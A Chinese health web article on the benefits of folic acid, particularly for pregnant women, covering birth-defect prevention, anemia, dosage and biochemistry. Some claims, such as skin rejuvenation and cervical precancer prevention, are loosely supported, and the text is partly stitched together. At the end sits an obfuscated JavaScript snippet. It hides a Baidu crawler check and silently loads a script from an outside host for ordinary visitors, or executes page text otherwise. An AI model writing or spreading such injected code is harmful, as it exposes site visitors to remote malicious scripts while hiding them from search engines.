当前位置:首页 > 饮食 > 食物营养 > 正文

补充叶酸有什么好处呢

2017-07-07 17:50:27  来源:360常识网   热度:
导语:在生活中我们经常会看到一些怀孕的孕妇在给自己补充叶酸,没有怀孕的人感觉这样的补充方法有些不可思议,也不知道叶酸到底会给人们带来哪些

生活中我们经常会看到一些怀孕的孕妇在给自己补充叶酸,没有怀孕的人感觉这样的补充方法有些不可思议,也不知道叶酸到底会给人们带来哪些好处,叶酸的好处是很多的,如果孕妇不及时补充叶酸的话,那么就有可能会给胎儿带来很大的伤害,所以说补充叶酸是很有必要的,那么补充叶酸到底有哪些好处呢?

叶酸的作用有:叶酸能够促进正常红细胞的生成,预防贫血;叶酸能维护神经系统、肠、性器官、白细胞的正常发育,预防出生缺陷;叶酸可促进乳汁分泌叶酸能促进皮肤细胞的分裂和生长,加速新陈代谢,使皮肤充满生机与活力;叶酸有助于治疗各种皮肤色素沉着症;叶酸对预防妇女宫颈癌前癌变具有重要作用;身体衰弱(健康状况不良)时,叶酸可增进食欲。应在怀孕三个月前就开始吃叶酸.普通的叶酸片的含量比较大.主要是针对贫血患者.对于孕妇不适合.有时叶酸补过量了,会适得其反.我个人认为,叶酸最好让医生开.这样比较安全.

对于孕妇而言,叶酸是机体细胞生长和繁殖所必须的物质。是胎儿生长发育不可缺少的营养素。孕妇缺乏叶酸有可能导致胎儿出生时出现低体重、唇裂,心脏缺陷等疾病。如果在怀孕前三个月内缺乏叶酸,可引起胎儿神经管发育缺陷而导致畸形。因此,准备怀孕的女性应在怀孕前3个月开始补充叶酸,直至哺乳期过后。专家指出:即便做不到孕期全程补充,至少在孕前期(怀孕日起3个月)必须每天补充400微克。

如果缺少叶酸可招致红血球的异常未成熟细胞的增加和 叶酸 贫血以及白血球减少。这是因为叶酸参与核酸的嘧啶和嘌呤的合成。此外也作为干酪乳杆菌(Lactobacillus casei)及其它微生物促进增殖因子而起作用。与维生素M是同一物质。已知PGA的各种衍生物中也有起着与PGA相同的促进生长、促进造血因子作用的物质,其中有叶酸的多聚谷氨酸、甲酰衍生物、四氢叶酸。曾导致活性型叶酸发现的干酪乳酸菌因子和维生素Bc复合体,在动物体内有将它们分解形成叶酸的Bc结合酶,是和现成叶酸同样有效。根霉蝶呤(SLR因子)被认为是甲酰四氢叶酸的分解产物,对动物无效。叶酸的定量完全用微生物方法[干酪乳杆菌,粪链球菌 R(Streptococcus faecalisR)]。

由动物实验推算出的需要量是为一日0.1—0.2毫克。对巨大红芽球性贫血和口炎性腹泻有疗效(1日5毫克,与普通维生素B12同时投与)。 对人体的作用 叶酸 叶酸对人体的重要营养作用早在1948年即已得到证实,人类(或其他动物)如缺乏叶酸可引起巨红细胞性贫血以及白细胞减少症。此外,研究还发现,叶酸对孕妇尤其重要。如在怀孕头3个月内缺乏叶酸,可导致胎儿神经管发育缺陷,从而增加裂脑儿,无脑儿的发生率。其次,孕妇经常补充叶酸,可防止新生儿体重过轻、早产以及婴儿腭裂(兔唇)等先天性畸形。

叶酸是由喋啶,对氨基苯甲酸和谷氨酸残基组成的一种水溶性B族维生素,亦称为维生素BC或维生素M; 为机体细胞生长和繁殖所必需的物质。帮助蛋白质的代谢。并与维生素B12共同促进红细胞的生成和成熟。是制造红血球不可缺少的物质。在体内叶酸以四氢叶酸的形式起作用,四氢叶酸在体内参与嘌呤核酸和嘧啶核苷酸的合成和转化。在制造核酸(核糖核酸、脱氧核糖核酸)上扮演重要的角色 。

补充叶酸对孕妇来说好处是有很多的,在怀孕的时候为了胎儿的健康必须要给自己补充叶酸,这样胎儿才可以预防身体畸形的现象发生,而对于孕妇来说,补充叶酸还不仅仅只是这些好处,还有很多其他的好处,怀孕的前三个月需要补充,在后三个月也是需要补充叶酸的。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}